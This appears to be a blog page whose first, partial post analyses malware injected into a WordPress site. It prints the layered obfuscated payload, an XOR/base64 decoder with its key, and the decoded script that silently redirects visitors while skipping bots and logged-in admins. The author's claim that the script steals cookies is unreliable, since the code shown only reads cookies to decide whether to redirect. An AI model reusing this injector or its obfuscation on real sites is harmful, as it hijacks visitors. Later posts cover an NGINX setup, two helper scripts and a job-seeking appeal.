,80-4,72-7,112-5,79-8,71-5,111-6,108-1,106-1,92-3,117-8,120-5,122-7,77-4,110-5,8
6-9,109-3,77-9,92-7,117-1,115-8,76-3,112-6,98-9,125-7,84-5,128-6,117-6,60-4,105-
3,54-6,110-7,105-6,86-2,110-1,109-9,121-4,103-6,58-7,120-9,55-6,82-6,114-9,86-4,
75-2,69-4,114-8,123-4,109-3,79-3,124-2,59-3,54-7,91-2,60-9,78-4,58-8,73-7,110-7,
74-1,127-5,92-2,126-7,117-6,116-3,80-4,113-8,99-9,111-1,110-8,52-3,84-6,120-4,99
-9,75-4,109-9,125-8,102-5,130-8,63-7,58-3,84-9,126-4,105-6,108-9,71-6,113-4,115-
4,51-3,83-8,131-9,57-1,107-6,81-8,113-7,123-8,128-6,86-5,73-8,74-1,58-2,82-9,125
-4,60-4,49-2,88-8,53-3,54-6,112-1,78-1,125-5,124-5,109-3,82-8,87-3,84-7,118-4,90
-1,58-7,87-9,109-3,94-4,80-8,94-5,84-6,81-9,125-4,66-1,114-5,80-2,130-8,106-2,12
5-3,110-9,76-7,88-2,57-7,85-2,72-3,108-8,111-4,82-5,84-1,61-5,62-9,109-8,106-1,7
0-5,83-2,75-2,72-7,109-2,77-1,86-9,92-9,81-7,124-7,101-1,116-6,120-9,114-5,83-3,
69-1,93-8,76-2,78-8,124-3,79-9,127-9,84-5,74-7,115-4,57-7,85-7,110-5,121-9,50-3,
88-5,71-2,123-3,112-5,99-1,56-6,96-7,125-8,81-8,107-2,102-3,118-1,78-2,129-9,119
-3,73-1,103-2,90-2,121-9,126-9,77-3,89-6,61-5,126-8,77-4,59-8,58-1,78-5,94-7,80-
9,89-7,114-6,105-7,74-3,118-2,104-1,93-4,57-7,52-3,122-6,87-4,74-9,79-6,57-1,81-
3,124-3,102-3,59-6,84-4,123-1,75-9,124-3,105-5,75-6,110-6,86-9,95-5,72-5,75-2,58
-8,78-2,130-8,123-8,57-6,84-9,111-1,108-5,107-8,70-3,71-5,72-3,93-9,72-4,83-1,10
9-6,123-6,79-2,85-2,90-1,61-9,69-1,50-2,65-8,120-4,107-9,112-2,88-2,69-3,110-9,1
14-5,85-7,120-2,109-9,105-2,124-5,82-9,77-3,126-4,76-3,114-8,83-7,112-6,87-6,60-
9,92-3,91-7,90-5,77-5,72-5,70-3,60-4,124-7,78-3,54-4,125-9,114-4,97-8,124-3,125-
6,75-1,71-5,105-2,91-2,117-5,75-2,114-5,54-1,111-8,110-9,112-3,77-7,126-5,102-2,
76-7,113-9,83-6,96-6,72-5,84-3,85-3,81-1,91-7,116-1,127-9,88-9,110-4,79-1,85-1,1
06-8,90-3,85-3,115-5,85-8,57-9,78-8,82-1,96-7,59-9,64-8,128-9,73-1,82-1,116-9,11
4-4,82-5,125-4,105-6,110-3,87-9,72-1,83-6,116-1,87-7,109-6,57-9,77-8,78-2,120-1,
83-2,107-3,82-8,75-7,77-8,117-4,80-5,116-6,62-9,70-4,86-4,129-7,61-4,80-2,103-5,
115-6,119-3,63-9,96-7,124-3,97-8,123-4,84-1,73-4,61-5,120-9,76-1,71-4,57-9,118-5
,79-1,110-6,68-3,63-8,86-7,83-1,112-1,74-3,79-6,126-5,77-3,112-9,84-8,77-9,60-4,
57-6,73-7,111-6,81-8,84-6,68-1,117-8,129-9,104-1,85-7,121-1,80-7,124-5,82-5,87-4
,62-9,110-5,85-6,69-2,90-9,112-2,106-4,124-3,90-5,117-8,73-2,68-3,119-4,118-5,82
-8,89-7,122-6,93-6,84-8,86-3,92-6,117-5,93-4,116-6,119-7,48-5,107-8,117-8,119-3,
80-7,82-1,76-4,89-3,111-8,95-5,51-1,117-2,113-9,85-2,94-7,61-4,59-9,90-7,77-8,10
3-3,114-7,97-7,125-3,128-9,126-9,85-9,108-2,98-9,65-8,82-3,70-1,105-2,89-5,82-4,
107-1,79-6,122-8,100-1,78-8,71-5,111-5,99-1,53-2,95-5,82-9,80-9,110-1,89-8,111-6
,75-2,110-4,110-7,51-4,97-8,127-5,87-5,103-4,89-6,75-6,105-5,111-4,94-4,56-6,61-
8,117-3,84-6,108-3,128-9,116-1,86-8,123-4,88-7,57-9,86-9,72-5,105-2,63-7,80-5,11
2-6,50-2,113-4,95-6,85-2,89-4,79-1,73-4,125-6,51-3,130-8,82-7,123-2,97-7,130-9,9
7-7,69-1,94-5,87-7,69-4,109-5,94-9,116-8,106-7,126-6,54-2,74-1,85-6,96-8,123-8,1
13-6,81-2,126-5,112-1,124-6,76-3,93-9,90-9,60-3,108-7,111-5,78-1,112-8,101-4,76-
4,114-2,76-3,89-8,81-9,93-7,105-2,91-1,57-6,67-1,82-1,98-9,59-9,61-4,57-7,87-4,7
0-4,120-8,80-1,91-1,51-1,57-4,116-2,106-5,109-3,90-5,126-9,80-6,75-6,109-6,88-2,
79-6,86-3,72-3,118-4,82-3,85-2,111-8,117-8,84-4,90-9,90-9,87-9,71-6,130-9,51-3,5
8-9,83-8,129-8,108-5,123-6,72-7,74-7,70-5,59-6,68-3,125-6,60-8,109-5,97-7,60-9,8
0-2,121-7,82-2,91-8,92-3,60-5,75-5,82-1,107-8,74-1,84-8,126-5,56-4,119-5,97-8,54
-3,109-6,124-4,76-1,114-8,71-6,86-8,72-2,87-3,96-7,112-7,87-7,67-1,113-6,52-5,81
-7,124-3,98-9,111-4,71-3,86-5,88-7,128-9,72-6,69-2,71-2,113-6,80-3,92-9,120-9,11
8-5,102-2,78-9,77-7,102-3,86-2,117-8,105-5,122-5,98-1,54-3,118-7,117-4,78-3,93-5
,97-7,71-6,77-7,87-4,78-9,109-5,83-8,126-4,116-9,117-6,80-6,114-8,51-3,74-5,72-4
,87-6,86-9,125-9,83-5,88-5,122-7,115-4,83-7,105-2,67-2,111-8,86-7,84-3,83-6,86-7
,78-5,90-3,101-1,120-2,109-9,117-7,117-6,122-6,81-2,110-4,120-9,72-3,86-4,57-7,8
2-8,106-2,99-1,112-6,113-6,53-6,80-6,89-6,112-1,111-4,78-7,105-2,75-2,58-8,76-6,
87-4,120-5,123-5,81-4,131-9,71-2,120-7,85-7,89-7,121-2,114-7,82-7,129-8,104-1,11
3-5,77-4,108-2,64-7,109-3,107-9,110-1,124-8,77-4,90-8,90-3,91-1,118-1,106-8,115-
9,67-1,87-6,90-1,53-3,66-9,58-8,91-8,77-8,104-4,110-3,84-6,85-2,121-6,56-9,77-1,
127-5,76-7,108-4,102-2,109-5,125-6,92-6,82-5,92-9,83-9,55-6,86-5,89-1,113-1,111-
5,99-1,60-9,96-7,95-9,84-2,129-8,70-1,118-4,85-5,89-6,55-2,55-1,81-6,113-8,111-3
,51-1,83-2,66-1,81-4,119-5,78-4,69-1,117-2,117-8,82-2,130-9,53-5,61-6,103-2,69-4
,123-8,81-8,82-7,122-1,123-4,113-3,77-1,114-4,84-3,117-4,76-3,88-4,79-6,83-5,74-
2,125-6,121-6,113-9,93-3,114-5,126-7,119-3,79-3,75-7,57-9,125-4,77-6,71-5,86-1,1
05-1,84-6,70-2,57-9,90-5,81-3,107-2,120-1,112-1,81-4,89-8,57-9,70-2,93-4,53-3,60
-7,126-9,105-8,112-3,105-5,49-6,100-2,53-2,122-6,93-3,104-6,89-4,55-6,117-7,102-
4,112-3,121-5,56-2,92-3,54-4,63-6,51-1,78-8,75-9,123-7,115-8,78-5,126-5,76-7,115
-4,82-6,124-3,59-7,122-9,85-6,69-3,129-9,76-2,80-6,127-6,112-9,108-4,77-4,76-8,8
1-4,110-1,97-8,86-2,57-1,78-7,74-9,128-7,78-9,51-4,68-3,85-2,58-9,129-8,96-6,74-
6,112-9,111-2,84-2,90-8,85-4,109-5,84-7,124-2,120-9,112-7,81-3,69-2,90-9,63-7,10
0-1,87-2,74-4,75-3,96-6,91-3,120-8,129-7,104-7,57-6,105-5,128-7,85-3,96-8,95-5,7
6-3,89-7,57-7,85-3,116-6,101-3,116-7,121-5,63-9,97-8,56-6,66-9,54-4,92-9,74-5,10
9-9,116-9,94-4,124-2,78-5,55-4,106-5,106-1,101-2,105-2,86-8,88-6,54-6,83-8,77-4,
92-9,112-5,62-8,99-9,87-3,113-6,116-1,76-3,73-5,53-5,74-8,73-8,114-5,115-4,125-8
,75-2,69-2,62-6,50-3,85-6,124-5,69-4,120-1,87-6,71-2,66-1,124-2,84-9,69-1,128-9,
126-8,79-4,113-7,73-4,120-7,77-3,91-9,117-2,61-9,78-1,76-9,81-8,66-9,83-3,56-5,5
0-1,117-4,106-8,55-4,107-7,95-9,95-8,112-3,83-1,122-9,110-8,54-4,81-7,58-4,91-2,
123-1,85-3,105-6,84-1,70-1,105-5,115-8,93-3,59-9,54-1,119-5,76-1,76-9,91-2,63-8,
78-5,128-8,117-6,77-3,95-5,73-5,78-1,59-3,84-4,111-5,62-5,55-3,86-4,89-1,91-1,77
-4,88-6,57-7,84-3,57-3,102-4,112-7,57-5,54-4,79-2,68-1,115-3,54-4,76-7,52-2,56-7
,111-4,96-6,53-3,55-2,116-2,104-3,118-9,85-8,57-1,78-1,126-6,128-9,111-4,84-9,12
2-1,110-7,110-2,79-6,112-6,66-9,116-2,107-9,88-5,84-3,85-7,69-4,86-3,74-5,56-7,8
2-2,73-6,59-7,116-5,70-1,91-8,119-8,126-5,74-9,87-5,87-2,113-9,75-1,77-9,115-4,7
6-3,81-3,88-5,125-6,112-5,83-3,127-8,58-9,76-6,104-7,77-6,107-7,123-8,82-6,129-7
,92-6,111-5,77-4,92-8,113-6,104-5,89-7,130-8,90-1,106-1,79-4,108-3,81-8,119-8,76
-2,114-9,125-6,107-2,90-7,109-2,120-4,111-4,107-8,81-9,55-6,64-9,103-4,53-2,106-
2,71-1,109-9,116-9,111-7,81-9,98-8,75-4,109-9,123-6,84-5,92-8,64-8,52-1,88-9,111
-6,83-2,72-1,88-6,122-1,77-4,116-7,78-5,108-2,111-8,49-2,105-4,74-5,91-5,53-3,88
-5,77-8,105-5,110-3,81-2,111-4,85-3,115-1,103-2,112-6,57-4,75-5,94-6,71-5,94-8,1
23-7,93-9,116-9,54-5,71-2,84-4,87-3,124-9,127-7,103-5,126-5,87-6,84-6,75-9,114-9
,70-5,46-3,75-3,92-8,58-2,60-5,85-7,129-8,113-2,92-6,72-7,67-2,79-6,112-2,77-1,6
7-2,108-9,111-3,80-4,108-3,95-6,61-4,74-1,71-6,108-1,85-9,92-2,78-6,121-9,122-5,
81-2,75-7,58-2,59-8,71-5,112-6,110-7,103-4,68-3,112-6,90-1,124-4,81-5,128-7,103-
3,129-8,83-9,88-4,114-3,56-4,76-9,122-2,79-2,125-9,84-9,75-8,72-6,109-3,103-4,58
-8,80-3,55-7,97-9,78-9,107-3,81-9,77-1,86-3,71-1,123-6,96-7,124-2,56-4,116-1,83-
7,75-8,85-8,72-2,68-3,111-6,114-3,125-3,90-1,74-6,108-1,50-3,81-8,109-4,116-1,12
0-2,88-9,127-7,81-4,115-7,85-8,127-6,121-5,123-9,95-5,52-1,58-5,124-3,101-1,110-
3,60-4,72-3,82-7,128-7,119-8,46-3,75-1,124-2,60-4,52-1,84-9,114-4,71-1,109-4,87-
5,55-5,83-1,113-3,106-8,114-5,123-7,57-3,84-4,131-9,82-4,58-8,75-7,67-2,105-2,11
6-6,79-2,107-2,85-8,123-6,79-1,69-1,101-1,108-4,81-7,74-9,50-2,80-9,82-9,74-6,54
-2,101-1,88-8,129-7,123-8,57-6,83-8,119-9,97-7,89-3,95-8,110-1,83-1,105-2,76-2,1
30-9,88-3,125-8,83-9,110-4,57-9,56-5,75-8,128-8,81-4,117-1,82-5,85-2,122-6,119-4
,103-4,57-7,85-8,57-9,97-9,73-4,113-9,79-7,97-7,74-3,107-8,118-2,78-4,131-9,61-5
,112-7,81-1,85-3,61-5,72-1,70-1,129-8,75-6,55-6,87-8,72-5,116-5,51-1,103-6,126-4
,55-7,127-5,74-7,87-6,85-8,64-7,79-9,72-4,113-2,115-2,84-8,110-5,96-7,80-3,84-4,
111-8,53-5,73-4,77-1,125-6,60-8,108-5,88-8,126-4,59-3,125-5,81-2,87-3,102-3,74-5
,92-8,118-8,59-2,85-7,107-9,114-5,118-2,58-4,92-3,129-7,120-1,114-9,71-4,86-4,86
-1,123-4,105-7,58-8,107-7,123-4,90-5,72-1,79-1,119-1,82-7,55-5,76-3,100-3,100-3,
80-9,106-6,49-2,106-5,60-9,81-3,54-2,85-3,96-8,113-5,81-9,90-3,58-8,118-3,56-8,7
8-2,86-2,114-7,128-6,78-1,128-6,124-8,120-9,93-4,111-2,52-4,63-2,45-6,66-7,18-8,
110-8,125-8,112-2,101-2,117-1,107-2,113-2,116-6,37-5,129-9,120-9,122-8,99-4,104-
3,117-7,102-3,43-3,121-6,117-1,119-5,114-9,116-6,112-9,45-1,39-7,114-7,105-4,123
-2,46-5,38-6,126-3,16-6,41-9,33-1,120-2,105-8,117-3,38-6,117-3,105-4,120-5,35-3,
67-6,37-5,40-1,40-1,66-7,15-5,37-5,38-6,109-7,118-7,118-4,33-1,41-1,119-1,104-7,
123-9,39-7,111-6,35-3,65-4,39-7,50-2,61-2,34-2,113-8,34-2,68-8,37-5,120-5,122-6,
118-4,106-1,117-7,104-1,52-6,109-1,110-9,117-7,104-1,124-8,112-8,67-8,34-2,112-7
,52-9,50-7,49-8,36-4,129-6,12-2,39-7,34-2,34-2,39-7,120-6,110-9,116-1,35-3,49-6,
62-1,38-6,92-9,124-8,121-7,112-7,116-6,109-6,52-6,105-3,116-2,120-9,110-1,69-2,1
13-9,100-3,116-2,69-2,116-5,109-9,104-3,48-8,122-7,117-1,116-2,114-9,118-8,106-3
,54-8,105-6,110-6,106-9,123-9,68-1,117-6,105-5,110-9,67-2,119-3,45-5,113-8,43-2,
34-2,100-6,11-1,41-9,37-5,39-7,37-5,33-1,41-9,40-8,35-3,34-2,33-1,39-7,37-5,38-6
,34-2,37-5,40-8,36-4,41-9,40-8,39-7,40-8,39-7,35-3,38-6,36-4,35-3,34-2,33-1,35-3
,36-4,38-6,33-1,114-7,109-8,129-8,50-4,106-7,110-6,98-1,119-5,74-7,119-8,105-5,1
03-2,70-5,124-8,44-4,110-5,33-1,42-5,36-4,116-9,105-4,127-6,52-6,112-4,103-2,118
-8,107-4,122-6,108-4,49-8,47-6,65-6,14-4,40-8,41-9,132-7,12-2,35-3,38-6,116-2,10
2-1,119-3,122-5,119-5,111-1,37-5,119-5,106-5,116-1,68-9,12-2,132-7,17-7,19-9,124
-6,103-6,123-9,41-9,102-2,103-2,103-4,39-7,70-9,35-3,126-6,117-6,123-9,101-6,103
-2,116-6,108-9,41-1,102-5,124-8,112-1,101-3,43-3,109-8,112-2,101-2,105-4,108-8,4
8-7,52-8,38-6,114-7,106-5,126-5,46-5,65-6,12-2,43-3,114-4,110-9,126-7,40-8,74-4,
122-5,119-9,106-7,119-3,112-7,114-3,115-5,42-2,107-7,102-1,102-3,45-4,48-7,48-8,
43-2,68-9,17-7,14-4);
console.log(SFBUNGVMBM);

//eval(SFBUNGVMBM);

Again, I had to comment out eval() and replace it with console.log() so I can decipher what the hell are they trying to accomplish with this advanced encoding procedure.

That was what I called the second level malware.

Moving on ladies and gentlemen to even further decoding!

The results of SFBUNGVMBM were considerably smaller than the previous decodings:

let atob = require('atob');

var key = 'OVhgDGNKZC';
var enced = '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
vK2IaaGd/e3N4RXlHW2s0LTkzMztoYm0=';
function xor_enc(string, key) {
  var res = '';
  for (var i = 0; i < string.length; i++) {
    res += String.fromCharCode(string.charCodeAt(i) ^
                                key.charCodeAt(i % key.length));
  }
  return res;
}

var dec = xor_enc(atob(enced), key);
console.log(dec);
//(new Function(dec))();

As you can see, the end result of this decoding was rather short and caught me off guard; that was third level malware.

So, what's inside dec variable? I was very anxious to see what would be the result for this one.

Well, it seems we have finally reached the last level of malware, the fourth level malware.

The following code was basically stealing your cookies so they can access your administrative area in order to bombard you with malware from the inside...unless I did not really understand how it really works.

Anyhow, I don't really care how it works, I'm just happy that I have resolved this problem and have found my peace.

Here's the last result:

//<script>
var w_location =
      '/?pagerd_' + Math.random().toString(36).substring(7);

function start() {

  var from = document.referrer;
  var i;

  if (checkCookie()) {
    return;
  }
  var uagent = navigator.userAgent;
  if (!uagent || uagent.length == 0) {
    return;
  }
  uagent = uagent.toLowerCase();
  if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
      || uagent.indexOf('crawl') != -1) {

  } else {
    if (window.history && window.history.length > 2) {
      window.location = w_location;
    }
  }

  function getCookie(c_name) {
    var c_value = document.cookie;
    var c_start = c_value.indexOf(" " + c_name + "=");
    if (c_start == -1) {
      c_start = c_value.indexOf(c_name + "=");
    }
    if (c_start == -1) {
      c_value = null;
    }
    else {
      c_start = c_value.indexOf("=", c_start) + 1;
      var c_end = c_value.indexOf(";", c_start);
      if (c_end == -1) {
        c_end = c_value.length;
      }
      c_value = unescape(c_value.substring(c_start, c_end));
    }
    return c_value;
  }

  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate
.toUTCString());
    document.cookie = c_name + "=" + c_value;
  }

  function checkCookie() {
    if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
      return true;
    } else {
      localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
    }
    var referrerRedirectCookie = getCookie("referrerRedirectCookie");
    if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
      return true;
    } else if (document.cookie.indexOf('wordpress_logged') !== -1
           || document.cookie.indexOf('wp-settings') !== -1
               || document.cookie.indexOf('wordpress_test') !== -1)  {
      return true;
    } else {
      setCookie("referrerRedirectCookie", "do not redirect", 730);
      return false;
    }
  }

}



var readyStateCheckInterval = setInterval(function() {
  if (document.readyState === 'complete'
      || document.readyState == 'interactive') {
    clearInterval(readyStateCheckInterval);
    start();
  }
}, 10);
//</script>

Indeed that was a real challenge to decipher and resolve and I feel happy with the end result.

If you happened to face the same problem or similar and have no idea how to fix your problem, feel free to contact me to offer you my services.

My email can be found in the footer area, cheers.

Have fun!

How to setup WordPress with NGINX on Debian testing

NGINX is a powerful web server and I wanted to give it a try for some time now.

Its setup is rather simple and pretty straight forward in my humble opinion.

The current settings are for PHP 7.0 using php7.0-fpm under GNU / Debian testing 64-bit.

The first thing to look for is whether cgi.fix_pathinfo is 0 or not inside our /etc/php/7.0/fpm/php.ini.

If it's not, give it the value 0 as it has been a subject of multiple discussions around security. I think it has been resolved for a quite a while now, but it would not harm to turn it off.

Next thing we do is to create our own WordPress virtual host server settings:

server {
    listen 80;
    listen [::]:80;


    root /var/www/html/wordpress;

    # Add index.php to the list if you are using PHP
    index index.php index.html index.htm;

    server_name wpdebian.cy;
    server_tokens off; # removes NGINX version

    try_files $uri $uri/ /index.php?$args;

    # deny access to files like .htaccess
    location ~ /\.ht {
        deny all;
    }

    location / {

        try_files $uri $uri/ /index.php?q=$uri&$args;

        # Show "Not Found" 404 errors in place of "Forbidden" 403 errors
        error_page 403 =404;

        location ~ ^/(.+\.php)$ {
            include /etc/nginx/snippets/stefanos.conf;
        }

        # Secure the following files from getting accessed
        location = /xmlrpc.php { deny all; }
        location = /license.txt { deny all; }
        location = /readme.html { deny all; }
        location = /wp-config.php { deny all; }
        location = /wp-admin/install.php { deny all; }

    }
}

The code above I have saved it in a file named wpdebian.cy and is located in /etc/nginx/sites-available/ directory; you can name it anything you want that could represent you or your project.

If you haven't noticed already, I have included a custom snippet file named stefanos.conf which is located in /etc/nginx/snippets/ directory.

The reason I have done so is because the same code snippet is used elsewhere, in a different server {} and I wanted to avoid unnecessary duplication.

Here's the code snippet:

try_files $uri =404;
fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include /etc/nginx/fastcgi_params;

Save the code inside the aforementioned inclusion path: /etc/nginx/snippets/stefanos.conf

Of course, change the snippet name accordingly.

Now, let's see how my default server {} setup looks like:

# Default server configuration

server {
    listen 80 default_server;
    listen [::]:80 default_server;

    root /var/www/html;

    server_name _;
    server_tokens off;


    location / {
        index index.php index.html index.htm;
        try_files $uri $uri/ =404;
        autoindex on; # enabling directory listing
    }

    location ~ ^/(.+\.php)$ {
        include /etc/nginx/snippets/stefanos.conf;
    }

    location /phpmyadmin {
        root /usr/share/;
        index index.php index.html index.htm;

        # set client body size to 3M
        client_max_body_size 3M;

        location ~ ^/phpmyadmin/(.+\.php)$ {
            root /usr/share/;

            include /etc/nginx/snippets/stefanos.conf;
        }
        location ~* ^/phpmyadmin/(.+\.(jpg|jpeg|gif|css|png|js|ico|html|xml|txt))$ {
            root /usr/share/;
        }
    }

    location /phpMyAdmin {
        rewrite ^/* /phpmyadmin last;
    }

}

These settings are inside /etc/nginx/sites-enabled/default, which by the way, this file is a symlink located in /etc/nginx/sites-available/default.

Basically what this setup does is to be used as our standard localhost setup; this way we are able to run http://localhost/phpmyadmin/ or http://localhost/foo-file.php...you get the idea.

Now, about symlinking, we are going to do the same thing to our wpdebian.cy file so we can enable it.

Here is the command:

sudo ln -s /etc/nginx/sites-available/wpdebian.cy /etc/nginx/sites-enabled/

Next thing we do is to add our domain name inside our /etc/hosts file and associate it with the IP it represents our local user; in my case it's 192.168.2.3.

So your /etc/hosts should look something like this:

...
...
...
192.168.2.3 wpdebian.cy

By the way, the dots used above are used as an indication that other existing settings that reside inside the file remain as is.

In order to apply the domain name changes, we need to restart our networking service.

sudo systemctl restart networking.service

Logically, it should take a couple of seconds to apply the changes and should not complain about anything. If it does, it means you have messed up with something while typing it; most probably you forgot to add a space between the IP address and the domain name or something else you need to resolve yourself via trial and error.

Lastly, we run a test command for NGINX so it can report back to us whether it liked our settings or not and if everything looks OK and behave as expected, we are going to restart our server and start using our website.

sudo nginx -t

If everything went well, run this command.

sudo systemctl restart nginx.service

That's it folks. We have successfully created our standard default setup and our custom WordPress virtual host server.

If anyone is facing any kind of problem around these settings, feel free to comment below so we can investigate it together.

Introducing inrep

inrep is a shell script that automates repository initialization right from your terminal.

So, what does it do?

Well, it oversimplifies the whole procedure for you when you follow the standard methodology:

  • You go to your GitHub account.
  • You initialize a repository based on a name of your choice.
  • You clone it locally.
  • You create a file or a volume of files.
  • You add it to repository.
  • You commit them.
  • You push them back to your GitHub account.

Imagine having to repeat the procedure for a number of projects...

So, what can we do to improve this not so easy set of steps?

Enter, inrep!

Here is a set of steps it runs for you by freeing your hands from unnecesary repetitive typing pattern:

  • It makes an empty directory for you based on the name you give it.
  • It initializes that directory for the first time.
  • It creates a README.md file and commits it.
  • It pushes the changes on your GitHub account based on the username you either initialized at the beginning of the script or you have passed as an argument.

Let's see an example:

$ sh inrep.sh -u johndoe -p FooDemo
$ sh inrep.sh --project BarDemo2

As you can see, in the second case I did not use -u or --user flag, because I have created a username variable for you inside inrep.sh so you can set it explicitly with your username for the sake of automation.

Frankly, there's nothing else I should explain to you; that simple it is for the sake of simplicity and automation.

I hope you guys find it useful.

Happy coding, enjoy!

Working remotely - Your thoughts please

I have tried to find an online mentor (for free of course, as I'm unemployed for more than a year now), that would be more than willing to have a long and exhausting discussion with me about various programming languages and concepts, all the "do"s and "don't"s about those specific concepts and guide me towards the right path for working eventually remotely, either from home or from anywhere the world as long as I have a wireless connection to use a laptop.

You will say "hey, nothing is free you know" and I agree with you; but look around you and see how many open source projects exist. If I get trained properly or validate my existing knowledge by an experienced, professional senior developer I'm pretty sure I will create a few useful projects, let alone services, plus I will be able to participate to existing projects that need an extra pair of eyes and hands.

So, without extra fuss, anyone can suggest anything?

Cheers.

Introducing mproj

mproj is a rather small bash script that generates C or C++ project templates depending on your needs.

Have you ever worked with an editor like Vim or Emacs and all the time you had to copy / paste a Makefile sample from some other project of yours or one that you have found online and you struggled to make it work for a simple project of yours?

Yep, that had happened to me more than once...you cannot imagine how furious I was when I had to repeat the same procedure for every single project of mine.

I know what you are thinking right now and let me answer immediately: there is no reason to use an IDE for the sake of a demo project; with an editor like Vim, the editor I personally use and like, a couple of megabytes of memory are more than fine and work just fine.

